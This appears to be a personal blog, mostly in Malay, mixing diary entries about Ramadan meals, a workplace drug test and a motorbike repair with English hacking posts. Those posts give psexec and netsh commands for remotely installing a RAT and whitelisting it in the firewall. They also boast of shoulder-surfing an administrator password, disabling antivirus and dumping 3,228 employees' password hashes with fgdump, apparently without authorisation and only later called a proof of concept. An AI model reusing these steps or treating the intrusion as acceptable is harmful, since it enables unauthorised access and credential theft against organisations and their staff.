Semalam aku dengan awek aku berbuka kat Johan Seafood. Sebelum tu kitorang gi Jusco, aku nak singgah jap beli majalah. Majalah ni tiap-tiap bulan aku beli (baca belum tentu lagi hihihi), Linux For You. Awek aku lak beli novel Tuhan Manusia.

Background Majalah ni adalah meja tulis aku. Agak bersepah sikit.. sila abaikan yer :)

Keluaran kali ni diorang includekan dvd Centos 5. Bulan Lepad Debian. Aku punya plan nak install la Centos ni kat pc opis.. sekali pc aku takder dvd rom la :) Nantila bila-bila nanti aku try kelepet dvd rom kat pc abang 1 month. Hihihi

So kitorang sampaila kat Johan Seafood dalam kul 6.45. Aku gi toilet jap kat Petronas sebelah.. awek aku orderkan :

1. nasi putih, tomyam apa ntah, udang tepung goreng - dia punya la
2. nasi putih, sup ekor, telur dadar - aku punya la

Sementara menunggu time berbuka, dengan poyonya awek aku membaca novel dia tu dan dengan bergayanya aku membaca majalah LFY. Hihihi

Tunggu punya tunggu air kosong jer yang sampai.. waktu berbuka pun dah tiba.. kitorang buka air kosong jer.. dalam kul 7.30 makanan pun sampai la :)

Alhamdulillah, kami bersyukur sangat dengan rezeki kurniaan Allah.

Aunty virus, try la gi Johan Seafood, best woo (walaupun nama kedai dia tak best sebab mengingatkan pada seseorang yang sangat hampeh. hihihi)

Hmm.. ari ni ada urine test kat tempat kitorang. nak uji sama ada positif dadah atau tak.. nak menyahut seruan kerajaan la ni.. belia bebas dadah.

Saat yang dinanti-natikan pun tiba.. aku menahan air kencingku dari pagi hingga ke saat tersbut.. yer lah.. kalau dah kencing awal-awal. nanti tak leh pulak nak kencing time diorang mintak. Hmm..

Lepas tu.. pegawai-pegawai dari agensi dadah buat la sikit taklimat kat bilik meeting UPTM. Hmm.. nilah botol kosong yang diberikan kepada setiap staff. Di sebelah botol tersebut adalah borang pengakuan untuk membenarkan air kencing kita diuji.

Kami sempat buat lawak lagi... yang bestnya aunty virus siap posing dengan botol beliau.. hihihi.. Lepas tu kami pun tulis la nama pada botol tersebut. Botol nilah yang bakal mengisi air kencing ku sekejap lagi.

Masa yang ditunggu-tunggu dah tiba.. nama aku di panggil, 3 orang lelaki, dan 3 orang perempuan. Aunty virus pun kene gak. Hmm.. so aku gi la toilet nak isi bahan yang diperlukan dalam botol tersebut. Nilah botol tadi setelah di isi dengan bahan ujikaji yang diperlukan.

Aku antar la botol tu untuk di test. Aku nengok aunty virus kene test 3 kali. Hahaha.. aku gelakkan dia dalam hati. Tiba-tiba brader yang test aku tu kata, cik ni munkin positif opiat, sebab reader menunjukkan cik positif. Alamak.. pucat aku jap. Aku cuba buat-buat cool. Pastu dia test sekali lagi.. masih positif.. dia pun tunjukkan reading dia pada pegawai dia. Pegawai dia kata kita try sekali lagi. Kali ni dia gunakan alat tester yang lebih mahal katanya. Orang lain tak kene pun test dengan alat. Brader tu siap cakap.. kalau ni pun positif.. kene buat test kat hospital. Dia mintak aku kencing lagi.. aku kata dah kering dah ni bang. Time dia kuarkan alat tu.. Kak S*am dan Kak L*za, cakap.. eh nape usen punya alat tu besar? Kak L*za buat kesimpulan sendiri.. orang lelaki kene pakai alat tu kot.

Pastu result pun dah kuar.. alhamdulillah.. negative :) Lepas tu brader tu cakap.. sebenarnya cik alat yang mula-mula kita gunakan tadi dah masuk angin.. so kadang-kadang.. memang bacaan dia tak berapa betul.

Hampeh tul la !

I'm been playing with this pstools. What is pstools? A set of command-line tools that allow you to manage remote systems as well as the local one. Huh.. sounds interesting.. :)

Tested several commands in my vm environment, wrote a little script to install a RAT remotely.

Well if your target machine is running windows xp sp2 with firewall enabled, you can use this command combined with psexec. Just expand your imaginations.

Some basic command in using psexec are:

psexec \\computer_ip -u username -p password "program_path" command

To shutdown a machine remotely, you can use psshutdown.

Why do we need to shutdown a remote host? well sometime if we installed a RAT, it needs to be restarted first before we can put it in action.

netsh firewall
show config >> conf.txt
add allowed program = C:\WINDOWS\RAT\rat.exe name = rat32 mode = ENABLE

Semalam aku mintak kebenaran dari aunty virus untuk balik awal, alasan aku adalah untuk membaiki motor ku yang tersadai hampir 2 minggu kerana tayar pancit. Namun begitu, aku dapat merasai sedikit kedengkian dan kekejaman di hati aunty virus, kerana beliau membuli aku sebelum menandatangani buku log keluar. Namun dengan ayat-ayat manis dan wajah yang kudus, aku berjaya mendapatkan tandatangan beliau.


Ini merupakan gambar motorku yang menjadi kegilaan aweks aweks di UPM satu masa dahulu. Cuba perhatikan sticker tengkorak terbang tu, itu menunjukkan betapanya motor ini merajai highway seremban - UPM suatu masa dahulu. Kiranya dulu ni motor rempit la ni, cuma aku jer yang malas nak mengaku

Aku terpaksa menolak motor ni dari rumah ke kedai cina yang jaraknya hampir 2 kilometer. Letih wo.. Dalam perjalanan aku diduga dengan beberapa dugaan. Salah satunya, aku melalui satu tokong cina di bawah sebuah pokok yang sangat besar. Dalam tokong tu kelihatan satu entiti yang biasa ku lihat. Wah.. buah pisang dan buah limau, nampak fresh lagi. Namun aku kuatkan semangat ku dari mencilok buah buahan tersebut.

Beginilah keadaan motor ku, setelah dibaraikan oleh apek mekanik tu. Siap dia tanya lagi kat aku "Ni moto sulah berapa lama lu talak basuh ma" Aku dengan tersipu sipu menjawab, "Lu boleh tolong basuhkan ke apek?" Lalu apek tu memandang aku dengan wajah yang slek (betul ke ejaan tu)

Petang tu awek aku ajak gi KM Plaza, nak beli baju raya katanya, ada la dalam 4 jam pusing-pusing tengok baju, tapi langsung tak beli apa-apa. Ni semua menguji kesabaran aku ni. Melihatkan wajahku yang hangin, awek aku dengan romantis nya mengajak aku berbuka puasa di KFC JayaJusco, katanya dia nak belanja. Yea..yea.. Sebenarnya kitorang nak makan kat Johan Seafood, tapi sebab dah lewat, takut tak der tempat, so gi KFC jer la.

Awek aku menimbang berat badan sebelum berbuka puasa. Kononnya nak budjet la berapa banyak yang dia patut makan time bukak pose nanti. Hihihik. Berat badannya terpaksa dirahsiakan di sini kerana dikhuatiri akan menyentuh sensitiviti pihak-pihak yang tertentu. Sekian terima kasih.

Hihihi.. I was trying testing a server which holds the username and password for all the employees. Try to guess what server it is?

I got the administrators password by doing some sort of social engineering called shoulder surfing. Never thought it was so easy.. hihihi

Then trying to dump the password hashes remotely from my computer, but did'nt get any result... I wonder why.. so I do a little auditing and found that the remote registry service is disabled on the target machine.

Having admin access to that machine is like winning a RM 10,000 lottery. I disabled the infamous china bear anti virus services (because this anti virus block my process of dumping the password hashes) - guess aunty virus will certainly know the 'china bear' hihihi.

Using the fgdump utility, i managed to get all the users passwords.. oh my god.. there's 3228 users..

Actually I'm just doing a POC on password handling.. Remember, password is like a toothbrush, never share it with others :)

Selamat Datang wahai bulan Ramadhan. Bulan yang dalamnya ada 1 hari yang keberkatannya melebehi 1000 bulan. Cewah.. mesti aunty virus insaf baca ni.. hihihi

Hmm.. ari ni dah mula puasa. Dah lama aku tak update blog aku ni, bukan apa, bz sikit la.. 2 minggu lepas sibuk dengan kursus jer.. tak der masa untuk nak 'explore' sendiri (hack la tu).

2 minggu lepas aku kursus Linux Network Admin, best gak.. blajar setting NFS, Samba, DNS dan macam-macam lagi, semalam gi kursus Basic Hacking, part yang merefreshkan otak aku sikit adalah part exploit writing - buffer overflow.